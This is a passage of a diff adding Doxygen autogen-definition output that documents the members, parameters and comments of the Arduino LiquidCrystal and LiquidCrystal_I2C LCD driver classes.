+_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation and associated HW + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a44d84c010396c993f124d2feb9dc794d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pulseEnable'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '152'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a641301bc315a4e167c5aee7ea99993fd'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'writeNbits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'numBits'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '144'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes numBits bits from value value to the LCD. + @discussion Writes numBists bits (the least significant) to the LCD control + data lines. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a23a1807a1fe4210ac7cfca9b779513ea'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightPin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '158'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a0b2da39d056aed9940b0525e554668d7'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '157'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1aef7d920abae32b5faa2625ffa3879c4b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_enable_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '156'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1affd20665bda00d8b0e37d5ee87543e81'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rs_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '154'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a29061eaa64c2e9f3b985ff52249b62a9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rw_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '155'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + cp-fileline = '45'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-inheritancegraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 12; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 11; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '12'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; + cp-collaborationgraph = <<_EnD_oF_dEf_TeXt_ + node = { + node-id = 14; + node-label = 'LCD'; + node-link = { + node-link-id = 'class_l_c_d'; + }; + }; /* node */ + node = { + node-id = 13; + node-label = 'LiquidCrystal'; + node-link = { + node-link-id = 'class_liquid_crystal'; + }; + node-child = { + child-id = '14'; + relation = public-inheritance; + }; /* node-child */ + }; /* node */ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_liquid_crystal___i2_c'; + cp-name = 'LiquidCrystal_I2C'; + cp-ref = { + ref-type = base; + ref-id = 'class_l_c_d'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aeee2ada537f0cfbfda8613324b57c4a6'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '110'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a9fc9bc519ebbf7503dadc11622e02ed6'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '53'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1add1f2da7de4ec9b9cd5c9b5fab712464'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '70'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a7d9b54d3a91fa0e0e50db27cda6b4654'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '89'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a517f8847ebf09f0eacfb9c7232975fce'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '67'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1ab15622287533de7a47f3e2012ebf18be'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlighPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '93'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1aac537d195557e0b8afac1a71441a484c'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal_I2C'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '51'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a8bf1fab7efe13e8b17b96c42d1f810b4'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '124'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1af11b8fa0082616e2b6e6e4238589d8a8'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '145'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a2eaf86f62d1f169b3763b03fbf88f70b'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '134'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1adb997350478bdc0ab8eb5cc5623a2ad9'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'config'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'lcd_Addr'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'En'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'Rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '172'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a459c4fa106fb7bac5940e3c6aea736af'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + sec-mem-desc-line = '154'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal___i2_c_1a1d715dbf40f06b4c15004cd356b5a321'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pulseEnable'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-defname = 'data'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = 